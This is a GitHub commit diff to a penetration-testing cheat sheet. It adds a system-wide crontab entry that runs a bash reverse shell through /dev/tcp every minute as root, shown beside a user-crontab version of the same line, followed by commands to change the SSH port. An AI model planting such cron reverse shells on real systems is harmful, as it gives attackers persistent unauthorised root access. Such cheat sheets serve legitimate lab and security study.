Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2021-01-27 16:14:09 +05:00 committed by GitHub
parent b2c4decfa6
commit 12652d6d5b
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -310,6 +310,11 @@ If there is a port 53 open on the machine you could do a zone transfer to get in
```
*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
```
Or you can add in system wide contab (nano /etc/crontab)
```
*/1 * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
```
### Change SSH port
`nano /etc/ssh/sshd_config` (change PORT 22 to any port you want also you can tinker with configuration file)
`service sshd restart` (Restart SSH service to apply changes)